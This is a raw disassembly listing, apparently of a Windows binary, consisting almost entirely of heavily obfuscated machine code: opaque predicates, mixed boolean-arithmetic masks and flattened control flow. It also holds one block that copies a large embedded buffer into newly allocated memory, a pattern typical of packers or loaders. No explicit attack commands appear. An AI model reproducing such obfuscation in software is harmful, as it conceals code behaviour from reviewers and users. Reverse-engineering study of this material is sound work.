and ebx, r9d
mov ecx, esi
not ecx
mov eax, ebx
not eax
mov edi, ecx
and edi, 0x39068270
and esi, 0xc6f97d8f
or esi, edi
or ecx, eax
and eax, 0x39068270
and ebx, 0xc6f97d8f
or ebx, eax
xor ebx, esi
not ecx
or ecx, ebx
mov eax, ecx
not eax
and eax, 0xdeae67ae
and ecx, 0x21519851
or ecx, eax
mov ebx, ecx
xor ebx, 0x240040a8
and r9d, 0x7b065524
mov eax, edx
and eax, 0x84f9aadb
or eax, r9d
xor eax, 0x7b065525
and edx, 1
or edx, eax
mov eax, edx
not eax
xor ecx, 0x1bf7ac57
mov edi, ecx
and edi, 0xda5fb306
and ebx, 0x25a04cf9
or ebx, edi
or ecx, edx
and edx, 0xda5fb306
and eax, 0x25a04cf9
or eax, edx
xor eax, ebx
not ecx
or ecx, eax
mov eax, ecx
not eax
mov ebx, eax
or ebx, 0xb2cdb808
mov edx, ebx
not edx
or ecx, 0x52005e2
and ecx, 0x37e43de2
and eax, 0x80098008
or eax, ecx
and ebx, 0x37e43de2
and edx, 0x48124215
or edx, ebx
xor edx, eax
mov eax, edx
not eax
and eax, 0x4d3247f7
and edx, 0xb2cdb808
or edx, eax
sete al
setne r9b
cmp r8d, 0xa
setl cl
cmp r8d, 9
setg bl
mov edx, ecx
and cl, r9b
and r9b, bl
and dl, al
or dl, r9b
xor dl, 1
or dl, bl
and al, bl
or cl, al
mov eax, edx
xor al, cl
xor cl, 1
or cl, dl
xor al, 1
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0x681058c6
mov ebx, 0x6ec3374d
cmovne edx, ebx
test al, 1
mov eax, edx
mov ebx, 0x681058c6
cmovne eax, ebx
test cl, cl
jmp 0x1401a10d7
mov rcx, qword [rbp - 0x48]
sub rsp, 0x20
mov r8d, 0xa8600
lea rdx, [0x1401bb2e0]
call sub.VCRUNTIME140.dll_memcpy
mov edx, 0xa8600
mov ecx, 0x42
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GlobalLock]
add rsp, 0x20
mov rcx, qword [rbp - 0x68]
sub rsp, 0x20
mov edx, 0xa8600
call fcn.140077210
add rsp, 0x20
mov edx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea ebx, [rdx - 1]
imul ebx, edx
mov r9d, ebx
not r9d
mov edx, ebx
or edx, 1
mov edi, edx
not edi
mov ecx, ebx
xor ecx, 0xfffffffe
and ecx, ebx
mov eax, ecx
not eax
mov esi, edx
and esi, 0x68d30e83
and edi, 0x972cf17c
or edi, esi
or edx, eax
and eax, 0x68d30e83
and ecx, 0x972cf17c
or ecx, eax
xor ecx, edi
not edx
or edx, ecx
and r9d, 0xb57712ef
and ebx, 0x4a88ed10
or ebx, r9d
mov eax, ebx
xor eax, 0x4a80c900
mov edi, edx
not edi
mov ecx, edi
and ecx, 0xa57d263a
and edx, 0x5a82d9c5
or edx, ecx
xor ebx, 0xa575022a
and ebx, 0xa57d263a
and eax, 0x5a82d9c5
or eax, ebx
xor eax, edx
not eax
or eax, edi
cmp eax, 0xffffffff
sete al
setne dl
cmp r8d, 0xa
setl cl
cmp r8d, 9
setg bl
and al, cl
xor cl, dl
and dl, bl
or al, dl
xor al, 1
or al, bl
mov edx, eax
not dl
and dl, al
xor dl, 1
mov ebx, edx
xor bl, al
or dl, al
xor dl, 1
or dl, bl
xor dl, cl
mov ebx, eax
and bl, cl
xor cl, al
or cl, bl
mov eax, edx
xor al, cl
test cl, 1
mov ecx, 0xb4c386c2
mov ebx, 0xc7ac5206
cmovne ecx, ebx
test dl, 1
cmovne ecx, ebx
not al
test al, 1
mov eax, 0xb4c386c2
jmp 0x1401a26bd
mov eax, 0xb262ed81
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov edx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea ebx, [rdx - 1]
imul ebx, edx
mov r9d, ebx
not r9d
mov ecx, ebx
xor ecx, 0xad6f0f91
and ecx, ebx
mov edx, ebx
or edx, 0x5290f06e
mov edi, ecx
not edi
mov eax, edx
and eax, 0x8f8464aa
mov esi, r9d
and esi, 0x206b0b11
or esi, eax
or edx, edi
and edi, 0x8f8464aa
and ecx, 0x707b9b55
or ecx, edi
xor ecx, esi
not edx
or edx, ecx
mov eax, edx
not eax
and eax, 0x18088198
and edx, 0xe7f77e67
or edx, eax
mov edi, edx
xor edi, 0x4a9871f7
xor edx, 0x14268a00
mov eax, edi
and eax, 0xe949254f
and edx, 0x16b6dab0
or edx, eax
or edi, ebx
and ebx, 0xe949254f
and r9d, 0x16b6dab0
or r9d, ebx
xor r9d, edx
not edi
or edi, r9d
mov eax, edi
not eax
and eax, 0x3f7a5d54
and edi, 0xc085a2ab
or edi, eax
xor edi, 0xc085a2ab
sete r9b
setne r10b
cmp r8d, 0xa
setl cl
cmp r8d, 9
setg dl
mov ebx, edx
xor bl, cl
and bl, dl
mov edx, ebx
xor dl, 1
mov eax, edx
and al, bl
mov r8d, edx
and r8b, al
xor al, dl
or al, r8b
or dl, bl
mov ebx, eax
xor bl, dl
or dl, al
xor dl, 1
or dl, bl
mov eax, r10d
xor al, dl
and r10b, al
and al, dl
mov edx, r10d
and dl, al
xor al, r10b
or al, dl
mov edx, ecx
or dl, r9b
xor dl, 1
xor cl, r9b
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
xor cl, al
and al, cl
mov edx, ecx
xor dl, al
test cl, 1
mov ecx, 0x8f0031c6
mov ebx, 0x7be8c2cd
cmovne ecx, ebx
test al, 1
cmove ecx, ebx
not dl
test dl, 1
mov eax, 0x8f0031c6
jmp 0x14019f4d9
mov ecx, dword [0x1402656c8]
lea eax, [rcx - 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
xor ecx, 0xef789e80
mov ebx, ecx
and ebx, eax
and ecx, edx
mov edx, ebx
and edx, ecx
xor ecx, ebx
or ecx, edx
mov edx, ecx
not edx
and edx, 0xef789e81
and ecx, 0x1087617e
or ecx, edx
mov edx, eax
and edx, 1
xor eax, 1
or eax, edx
mov edx, eax
not edx
and edx, 0x1fbcdaf0
and eax, 0xe043250f
or eax, edx
xor eax, 0xe043250f
mov edx, ecx
and edx, eax
xor eax, ecx
or eax, edx
mov ecx, eax
not ecx
and ecx, 0xf2724daa
and eax, 0xd8db255
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x557767aa
and eax, 0xaa889855
or eax, ecx
mov ecx, eax
xor ecx, 0x18708437
xor eax, 0x20012000
and eax, 0x608b71c8
and ecx, 0x9f748e37
or ecx, eax
mov eax, ecx
xor eax, 0x8c100807
xor ecx, 0x94008
and ecx, 0x136dc638
and eax, 0xec9239c7
or eax, ecx
xor eax, 0xec9239c7
sete bl
setne r10b
cmp dword [0x1402656c4], 9
setg al
mov edx, eax
and dl, r10b
xor r10b, al
or r10b, dl
mov r8d, r10d
xor r8b, 1
mov edx, eax
xor dl, bl
not dl
and dl, bl
or al, bl
xor al, 1
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov r9d, eax
xor r9b, 1
mov ecx, r8d
and cl, r10b
mov edx, eax
and dl, r9b
mov ebx, ecx
xor bl, 1
xor cl, r8b
or bl, r10b
xor bl, 1
or bl, cl
mov ecx, edx
and cl, al
xor dl, al
or dl, cl
xor dl, bl
xor r9b, r10b
or al, r8b
xor al, 1
or al, r9b
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0xb532438c
mov ebx, 0x93fd2ab5
cmovne ecx, ebx
test al, 1
mov eax, 0xb532438c
jmp 0x14018b3fd
mov edx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea edi, [rdx - 1]
imul edi, edx
mov r9d, edi
not r9d
mov ebx, r9d
and ebx, 0x1781ddce
mov edx, edi
and edx, 0xe87e2230
or edx, ebx
mov ebx, edx
xor ebx, 0xa05e0010
xor edx, 0x1781ddcf
mov ecx, edi
xor ecx, 0xfffffffe
and ecx, edi
mov eax, ecx
not eax
mov esi, edx
and esi, 0x4b212fa9
and ebx, 0xb4ded056
or ebx, esi
or edx, eax
and eax, 0x4b212fa9
and ecx, 0xb4ded056
or ecx, eax
xor ecx, ebx
not edx
or edx, ecx
and r9d, 0xf660edf7
and edi, 0x99f1208
or edi, r9d
mov eax, edi
xor eax, 0x810208
mov ecx, edx
not ecx
mov ebx, ecx
and ebx, 0xbb7eb031
and edx, 0x44814fce
or edx, ebx
xor edi, 0xb260a031
and edi, 0xbb7eb031
and eax, 0x44814fce
or eax, edi
xor eax, edx
xor ecx, eax
test ecx, eax
sete r9b
setne bl
cmp r8d, 0xa
setl cl
cmp r8d, 9
setg dl
mov eax, ebx
xor al, dl
mov r8d, eax
xor r8b, 1
and bl, cl
and dl, r9b
or dl, bl
mov ebx, ecx
and bl, r9b
xor cl, r9b
or cl, bl
mov ebx, ecx
xor bl, dl
xor dl, 1
xor bl, 1
or dl, cl
xor dl, 1
or dl, bl
mov ecx, edx
xor cl, 1
and dl, cl
mov ebx, ecx
and bl, dl
xor dl, cl
or dl, bl
and al, r8b
mov ecx, r8d
and cl, al
xor al, r8b
or al, cl
mov ecx, eax
and al, dl
xor dl, 1
xor cl, 1
and cl, dl
or al, cl
mov ecx, r8d
and cl, dl
xor dl, r8b
or dl, cl
mov ecx, edx
xor cl, al
test dl, 1
mov edx, 0x6b902ca9
mov ebx, 0xfeea790b
cmovne edx, ebx
test al, 1
cmove edx, ebx
test cl, 1
mov eax, 0x6b902ca9
jmp 0x1401a0e8b
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov ebx, ecx
not ebx
mov edx, ebx
and edx, ecx
mov edi, edx
not edi
mov esi, ecx
and esi, 0x9dae5779
and ebx, 0x6251a886
or ebx, esi
or ecx, edi
and edi, 0x9dae5779
and edx, 0x6251a886
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
mov ebx, ecx
xor ebx, 1
and ebx, ecx
mov edx, ecx
not edx
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
mov edx, ebx
not edx
mov edi, ecx
not edi
mov esi, edx
and esi, 0x5a8bb027
and ebx, 0xa5744fd8
or ebx, esi
or edx, edi
and edi, 0x5a8bb027
and ecx, 0xa5744fd8
or ecx, edi
xor ecx, ebx
not edx
or edx, ecx
mov ecx, edx
not ecx
mov ebx, ecx
and ebx, 0xe3598c08
and ecx, edx
and edx, 0x1ca673f7
or edx, ebx
mov ebx, edx
xor ebx, 0x1c807262
xor edx, 0xe3598c08
mov edi, ecx
not edi
mov esi, edx
and esi, 0x60760d9d
and ebx, 0x9f89f262
or ebx, esi
or edx, edi
and edi, 0x60760d9d
and ecx, 0x9f89f262
or ecx, edi
xor ecx, ebx
not edx
or edx, ecx
setne r8b
sete r10b
cmp eax, 0xa
setl r9b
cmp eax, 9
setg cl
mov ebx, r10d
or bl, cl
mov edx, r10d
xor dl, cl
mov eax, edx
not al
and al, cl
xor al, 1
mov r11d, ebx
xor r11b, al
or al, bl
xor al, 1
or al, r11b
and dl, cl
and r9b, r8b
and cl, r10b
or cl, r9b
mov ebx, edx
xor bl, 1
xor dl, cl
xor cl, 1
or cl, bl
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, 1
mov ebx, ecx
and bl, al
xor al, 1
and dl, al
or dl, bl
mov ebx, eax
and bl, cl
xor al, cl
or al, bl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0xb0534e80
mov ebx, 0x9ba784bb
cmovne eax, ebx
test dl, 1
cmove eax, ebx
test cl, 1
mov ecx, 0xb0534e80
jmp 0x1401a14db
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov ebx, ecx
not ebx
mov edx, ebx
and edx, ecx
mov edi, edx
not edi
mov esi, ecx
and esi, 0xc3a9bd31
and ebx, 0x3c5642ce
or ebx, esi
or ecx, edi
and edi, 0xc3a9bd31
and edx, 0x3c5642ce
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
mov ebx, ecx
not ebx
mov edx, ebx
or edx, 1
mov edi, edx
not edi
and ebx, 0x36b65d47
and ecx, 0xc949a2b8
or ecx, ebx
mov ebx, ecx
xor ebx, 0x9018209
xor ecx, 0x36b65d46
mov esi, edx
and esi, 0xe2fe70b4
and edi, 0x1d018f4a
or edi, esi
or edx, ecx
and ecx, 0xe2fe70b4
and ebx, 0x1d018f4b
or ebx, ecx
xor ebx, edi
not edx
or edx, ebx
mov ecx, edx
not ecx
and edx, 0xeda44880
and ecx, 0x125bb77f
or ecx, edx
xor ecx, 0xeda44880
sete r8b
setne dl
cmp eax, 9
setg cl
cmp eax, 0xa
setl al
and dl, al
mov ebx, ecx
xor bl, r8b
and bl, cl
and cl, r8b
or cl, dl
xor al, r8b
mov edx, ebx
and dl, al
xor al, bl
or al, dl
mov edx, eax
not dl
and dl, al
xor dl, 1
mov ebx, eax
xor bl, dl
or dl, al
xor dl, 1
or dl, bl
mov eax, ecx
xor al, 1
and al, dl
xor dl, 1
mov ebx, ecx
xor bl, dl
and bl, cl
and dl, cl
or dl, al
mov eax, edx
xor al, bl
test dl, dl
mov ecx, 0xa5b51727
mov edi, 0xabb2ebcf
cmovne ecx, edi
test bl, bl
mov edx, 0xa5b51727
jmp 0x140185ad3
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov ebx, edx
not ebx
mov ecx, ebx
and ecx, 0xebe3661d
and edx, 0x141c99e2
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x65f0672f
and edx, 0x9a0f98d0
or edx, ecx
mov ecx, edx
xor ecx, 0x4fc08
xor edx, 0x82020023
and edx, 0xf3ea02e7
and ecx, 0xc15fd18
or ecx, edx
xor ecx, 0xc15fd18
mov edx, ecx
and edx, ebx
xor ecx, ebx
or ecx, edx
cmp ecx, 0xffffffff
setne cl
cmp eax, 0xa
setl dl
cmp eax, 9
setg bl
xor dl, cl
xor cl, bl
xor cl, 1
xor bl, cl
and bl, cl
mov eax, edx
xor al, bl
xor bl, 1
or bl, dl
mov ecx, eax
xor cl, bl
test al, al
mov eax, 0x532766ef
mov edx, 0x4a9587b7
cmovne eax, edx
test bl, bl
cmovne eax, edx
not cl
test cl, 1
mov ecx, 0x532766ef
jmp 0x1401a14db
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebx, edx
and ebx, 0xfffffffe
mov edi, ecx
xor edi, 0xfffffffe
and edi, ecx
mov esi, ebx
and esi, edi
xor edi, ebx
or edi, esi
not edi
and edx, 0xa299143d
and ecx, 0x5d66ebc2
or ecx, edx
xor ecx, 0x5d66ebc2
mov edx, edi
and edx, ecx
xor ecx, edi
or ecx, edx
mov edx, ecx
not edx
and edx, 0x8cc8c54d
and ecx, 0x73373ab2
or ecx, edx
xor ecx, 0x73373ab2
sete cl
setne dl
cmp eax, 9
setg r8b
cmp eax, 0xa
setl r9b
mov eax, r9d
xor al, dl
mov ebx, eax
xor bl, r8b
and bl, al
and dl, r9b
and cl, r8b
or cl, dl
mov eax, ebx
xor al, 1
mov edx, ecx
xor dl, 1
and cl, al
or al, dl
and dl, bl
or dl, cl
mov ecx, eax
xor cl, dl
mov ecx, 0x2fcf7b8f
mov ebx, 0x765068d6
cmovne ecx, ebx
test dl, dl
mov edx, ecx
mov ebx, 0x2fcf7b8f
jmp 0x1401a165f
mov eax, 0xdbd28c0f
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ecx, ebx
mov edx, ebx
xor edx, 0x17b6b4b5
and edx, ebx
not ebx
and ebx, 0x12b410a0
and ecx, 0x502a415
or ecx, ebx
mov ebx, ecx
xor ebx, 0x1022401
xor ecx, 0xfafd5bea
mov edi, edx
not edi
mov esi, ecx
and esi, 0xace5c996
and ebx, 0x13123421
or ebx, esi
or ecx, edi
and edi, 0xace5c996
and edx, 0x531a3669
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0xdc2f4030
and ecx, 0x23d0bfcf
or ecx, edx
mov edx, ecx
xor edx, 0x34660b7a
mov ebx, ecx
xor ebx, 0x34660b7b
and ebx, edx
xor ecx, 0xcb99f484
and ecx, 0xfffffffe
and edx, 1
or edx, ecx
mov ecx, ebx
and ecx, edx
xor edx, ebx
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x300ab2e3
and edx, 0xcff54d1c
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0xcff54d1c
and edx, 0x300ab2e3
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0xc9b3e526
and edx, 0x364c1ad9
or edx, ecx
mov ecx, edx
xor ecx, 0x34401010
xor edx, 0x89034024
and edx, 0x8b0f4aed
and ecx, 0x74f0b512
or ecx, edx
mov edx, ecx
xor edx, 0x80024260
xor ecx, 0x60300400
and ecx, 0x6b3d0c8d
and edx, 0x94c2f372
or edx, ecx
xor edx, 0x94c2f372
sete r9b
setne r10b
cmp eax, 9
setg r8b
cmp eax, 0xa
setl al
mov edx, r10d
xor dl, r9b
and dl, r10b
mov ebx, edx
xor bl, 1
mov ecx, edx
or cl, bl
xor dl, cl
xor dl, 1
or cl, bl
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, 1
and cl, dl
xor cl, 1
mov ebx, ecx
xor bl, dl
or cl, dl
xor cl, 1
or cl, bl
xor cl, al
and r8b, r9b
and r10b, al
or r10b, r8b
mov edx, eax
and dl, r9b
xor al, r9b
or al, dl
xor al, 1
mov edx, r10d
and dl, al
xor al, r10b
or al, dl
mov edx, eax
xor dl, 1
and al, dl
mov ebx, edx
and bl, al
xor al, dl
or al, bl
xor al, 1
mov edx, ecx
and dl, al
xor al, cl
or dl, al
mov ecx, edx
xor cl, al
test dl, 1
mov edx, 0xc78696c0
mov ebx, 0x93fac297
cmovne edx, ebx
test al, 1
cmove edx, ebx
test cl, 1
mov eax, 0xc78696c0
jmp 0x1401a0e8b
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebx, edx
and ebx, 0xfffffffe
mov edi, ecx
and edi, 1
or edi, ebx
mov ebx, edi
not ebx
and ebx, 0xbf30a47d
and edi, 0x40cf5b82
or edi, ebx
xor edi, 0x40cf5b82
and edx, 0xcd7d906f
and ecx, 0x32826f90
or ecx, edx
xor ecx, 0x32826f90
mov edx, edi
and edx, ecx
xor ecx, edi
or ecx, edx
mov edx, ecx
not edx
and edx, 0x51bd6220
and ecx, 0xae429ddf
or ecx, edx
xor ecx, 0xae429ddf
setne r8b
sete dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov ecx, eax
xor cl, dl
xor cl, 1
or cl, al
mov r9d, ecx
not r9b
and dl, al
and bl, r8b
or bl, dl
mov eax, ebx
xor al, 1
and bl, cl
or cl, al
and al, r9b
or al, bl
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0x4a9ca09b
mov ebx, 0x4a9587b7
cmovne edx, ebx
test al, al
mov eax, edx
mov ebx, 0x4a9ca09b
cmovne eax, ebx
jmp 0x1401a05d2
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
and edx, 0x34900215
mov ebx, ecx
and ebx, 0x2062
or ebx, edx
xor ebx, 0x2062
and ecx, 0xcb6fdd88
or ecx, ebx
mov edx, ecx
not edx
and edx, 0xc0708d35
and ecx, 0x3f8f72ca
or ecx, edx
mov ebx, ecx
not ebx
xor ecx, 0xf4e0af42
mov esi, ecx
or esi, 1
mov edi, esi
not edi
and ecx, 0xfffffffe
and ebx, 1
or ebx, ecx
mov ecx, ebx
not ecx
mov edx, esi
and edx, 0x45a5c30a
and edi, 0xba5a3cf4
or edi, edx
or esi, ecx
and ecx, 0x45a5c30a
and ebx, 0xba5a3cf5
or ebx, ecx
xor ebx, edi
not esi
or esi, ebx
mov ecx, esi
mov edx, esi
xor edx, 0x45add03f
and edx, esi
not esi
and esi, 0x45a55036
and ecx, 0x88009
or ecx, esi
mov ebx, ecx
xor ebx, 0x8001
xor ecx, 0xfff77ff6
mov edi, edx
not edi
mov esi, ecx
and esi, 0xcbe933ec
and ebx, 0x404c013
or ebx, esi
or ecx, edi
and edi, 0xcbe933ec
and edx, 0x3416cc13
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0xe7914186
and ecx, 0x186ebe79
or ecx, edx
mov edx, ecx
xor edx, 0x58436644
xor ecx, 0xa23c91b9
mov ebx, ecx
and ebx, 0x858889b3
and edx, 0x7a77764c
or edx, ebx
xor edx, 0x858889b3
xor ecx, edx
test ecx, edx
sete cl
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
and dl, al
and bl, cl
or bl, dl
mov edx, ebx
xor dl, al
and dl, bl
mov ebx, eax
xor bl, cl
not bl
and bl, cl
or al, cl
xor al, 1
mov ecx, ebx
and cl, al
xor al, bl
or al, cl
xor al, dl
mov ecx, eax
not cl
and cl, dl
mov edx, eax
xor dl, cl
test al, al
mov eax, 0x6ee3f7e4
mov ebx, 0x6f4ca944
cmovne eax, ebx
test cl, cl
mov ecx, 0x6ee3f7e4
jmp 0x14019e249
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov ebx, edx
not ebx
mov ecx, ebx
and ecx, 0x1bf4917c
mov edi, edx
and edi, 0xe40b6e82
or edi, ecx
xor edi, 0xe40b6e82
mov ecx, edx
and ecx, 1
or ecx, edi
mov edi, ecx
not edi
and ebx, 0xcdad1787
and edx, 0x3252e878
or edx, ebx
mov ebx, edx
xor ebx, 0x22026068
xor edx, 0xcdad1787
mov esi, ecx
and esi, 0xd9758e91
and edi, 0x268a716e
or edi, esi
or ecx, edx
and edx, 0xd9758e91
and ebx, 0x268a716e
or ebx, edx
xor ebx, edi
not ecx
or ecx, ebx
mov edx, ecx
not edx
and edx, 0x86ef4be2
and ecx, 0x7910b41d
or ecx, edx
xor ecx, 0x7910b41d
sete r8b
setne r10b
cmp eax, 0xa
setl r9b
cmp eax, 9
setg bl
mov ecx, ebx
xor cl, r9b
and cl, bl
mov eax, ecx
xor al, 1
or cl, al
mov edx, eax
xor dl, cl
or cl, al
xor cl, 1
or cl, dl
mov r11d, r10d
xor r11b, cl
mov edx, r11d
and dl, r10b
and r11b, cl
mov ecx, edx
and cl, r11b
xor r11b, dl
or r11b, cl
mov ecx, ebx
xor cl, r8b
and cl, bl
and r10b, r9b
and bl, r8b
or bl, r10b
mov edx, ecx
xor dl, 1
xor cl, bl
xor bl, 1
or bl, dl
xor bl, 1
or bl, cl
mov ecx, ebx
xor cl, 1
mov edx, ecx
and dl, bl
xor cl, dl
xor dl, 1
or dl, bl
xor dl, 1
or dl, cl
mov ecx, r11d
xor cl, 1
and cl, dl
xor dl, 1
mov eax, r11d
xor al, dl
and al, r11b
and dl, r11b
or dl, cl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x9ad1c169
mov ebx, 0xb7d25e50
cmovne ecx, ebx
test dl, 1
mov edx, ecx
jmp 0x140188346
mov edx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea ebx, [rdx - 1]
imul ebx, edx
mov r9d, ebx
not r9d
mov edx, ebx
or edx, 0x1bb8366b
mov edi, edx
not edi
mov ecx, ebx
xor ecx, 0xe447c994
and ecx, ebx
mov eax, ecx
not eax
mov esi, edx
and esi, 0x644a6b2b
and edi, 0x80058094
or edi, esi
or edx, eax
and eax, 0x644a6b2b
and ecx, 0x9bb594d4
or ecx, eax
xor ecx, edi
not edx
or edx, ecx
mov eax, edx
not eax
and eax, 0x1bb8366a
and edx, 0xe447c995
or edx, eax
and r9d, 0x37987db9
and ebx, 0xc8678246
or ebx, r9d
mov eax, ebx
xor eax, 0xc8678246
xor ebx, 0x37987db9
and ebx, edx
not edx
and eax, edx
or ebx, eax
xor edx, ebx
test edx, ebx
sete r9b
setne al
cmp r8d, 0xa
setl cl
cmp r8d, 9
setg r8b
and al, r8b
and cl, r9b
or cl, al
xor cl, 1
or cl, r8b
mov edx, ecx
xor dl, 1
mov eax, r8d
xor al, r9b
not al
and al, r9b
or r8b, r9b
mov ebx, r8d
xor bl, al
xor al, 1
xor bl, 1
or al, r8b
xor al, 1
or al, bl
mov ebx, eax
xor bl, 1
and dl, cl
and al, bl
mov r8d, ecx
and r8b, dl
xor dl, cl
or dl, r8b
mov r8d, ebx
and r8b, al
xor al, bl
or al, r8b
xor al, dl
mov edx, ecx
and dl, bl
xor bl, cl
or bl, dl
mov ecx, ebx
xor cl, al
test bl, 1
mov edx, 0x9a76feaa
mov ebx, 0xe2ef79d0
cmovne edx, ebx
test al, 1
cmove edx, ebx
test cl, 1
mov eax, 0x9a76feaa
jmp 0x1401a0e8b
mov eax, 0xba38c962
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov eax, 0xa549cdd7
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov eax, 0x708333dd
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov ecx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea edi, [rcx - 1]
imul edi, ecx
mov edx, edi
not edx
mov ecx, edx
and ecx, 0xf57c88e5
mov ebx, edi
xor ebx, 0xf57c88e5
and ebx, edi
mov esi, ecx
and esi, ebx
xor ebx, ecx
or ebx, esi
mov ecx, ebx
not ecx
and ecx, 0xa83771b
and ebx, 0xf57c88e4
or ebx, ecx
mov ecx, ebx
not ecx
and edx, ecx
and ebx, edi
or ebx, edx
xor ecx, ebx
test ecx, ebx
sete bl
setne al
cmp r8d, 9
setg r9b
cmp r8d, 0xa
setl r8b
mov edx, eax
xor dl, bl
and dl, al
mov eax, edx
xor al, 1
or al, dl
xor al, 1
mov ecx, edx
and cl, al
xor al, dl
or al, cl
xor al, r8b
mov r8d, eax
xor r8b, 1
xor bl, r9b
and r9b, bl
xor bl, 1
mov ecx, r9d
and cl, bl
xor bl, r9b
or bl, cl
mov ecx, ebx
xor cl, 1
and bl, r8b
and al, cl
or al, bl
mov edx, r8d
xor dl, cl
or cl, r8b
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0xcf2217c5
mov ebx, 0xefe23806
cmovne edx, ebx
test cl, 1
mov ecx, 0xcf2217c5
jmp 0x140195e0e
mov ecx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea eax, [rcx - 1]
imul eax, ecx
mov edi, eax
not edi
mov ebx, edi
and ebx, 0xacd7c1fe
mov edx, eax
and edx, 0x53283e01
or edx, ebx
mov esi, edx
xor esi, 0x2281000
xor edx, 0xa4908100
mov ecx, edi
or ecx, 0xbffc9735
mov ebx, ecx
not ebx
or edx, 0x40024802
and edx, 0xf592cf03
and esi, 0xa6c1034
or esi, edx
and ecx, 0xf592cf03
and ebx, 0x120c8
or ebx, ecx
xor ebx, esi
mov ecx, ebx
not ecx
and ecx, 0x741f4608
and ebx, 0x8be0b9f7
or ebx, ecx
mov ecx, ebx
xor ecx, 0x24180ec2
xor ebx, 0xcbe3d13c
mov edx, ebx
and edx, 0x58a7f121
and ecx, 0xa7580ede
or ecx, edx
and eax, 0x58a7f121
and edi, 0xa7580ede
or edi, eax
xor edi, ecx
xor ebx, edi
test ebx, edi
sete al
setne r9b
cmp r8d, 0xa
setl bl
cmp r8d, 9
setg r8b
mov ecx, ebx
and bl, r9b
and r9b, r8b
and cl, al
or cl, r9b
mov edx, ecx
xor dl, r8b
and dl, cl
and al, r8b
or bl, al
mov eax, edx
xor al, 1
and al, bl
xor bl, 1
mov ecx, edx
xor cl, bl
and cl, dl
and bl, dl
or bl, al
mov eax, ecx
xor al, bl
test al, 1
mov edx, 0xe958cc3a
mov edi, 0x8de096b8
cmovne edx, edi
test bl, bl
mov eax, edx
cmovne eax, edi
jmp 0x1401a1193
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ebx, [rdx - 1]
imul ebx, edx
mov edi, ebx
not edi
mov edx, edi
and edx, 0x405d2f76
mov ecx, ebx
and ecx, 0xbfa2d088
or ecx, edx
xor ecx, 0xbfa2d088
mov edx, ebx
and edx, 1
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0xa8b2d8c5
and edx, 0x574d273a
or edx, ecx
mov ecx, edx
xor ecx, 0x55490102
and edi, 0xa31f04eb
and ebx, 0x5ce0fb14
or ebx, edi
mov edi, ebx
xor edi, 0x5cc05904
xor edx, 0xa8b2d8c5
xor ebx, 0xa31f04eb
mov esi, edx
and esi, 0x2236a6f8
and ecx, 0xddc95907
or ecx, esi
or edx, ebx
and ebx, 0x2236a6f8
and edi, 0xddc95907
or edi, ebx
xor edi, ecx
not edx
or edx, edi
cmp edx, 0xffffffff
setne r10b
sete r9b
cmp eax, 0xa
setl cl
cmp eax, 9
setg r8b
mov eax, r9d
xor r10b, cl
mov ebx, ecx
and bl, r9b
xor cl, r9b
or r9b, r8b
xor r9b, 1
xor al, r8b
not al
and al, r8b
mov edx, r9d
and dl, al
xor al, r9b
or al, dl
xor r10b, 1
or cl, bl
xor cl, 1
mov edx, r10d
and dl, cl
xor cl, r10b
or cl, dl
mov ebx, ecx
xor bl, 1
mov edx, ebx
and dl, cl
xor bl, dl
xor dl, 1
or dl, cl
